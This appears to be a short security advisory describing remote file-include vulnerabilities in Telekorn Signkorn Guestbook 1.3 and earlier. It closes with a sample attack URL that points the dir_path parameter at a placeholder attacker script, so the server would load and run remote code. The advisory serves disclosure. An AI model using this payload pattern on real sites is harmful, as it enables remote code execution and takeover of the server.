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source: http://www.securityfocus.com/bid/19977/info Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Versions 1.3 and earlier are affected by this issue. http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;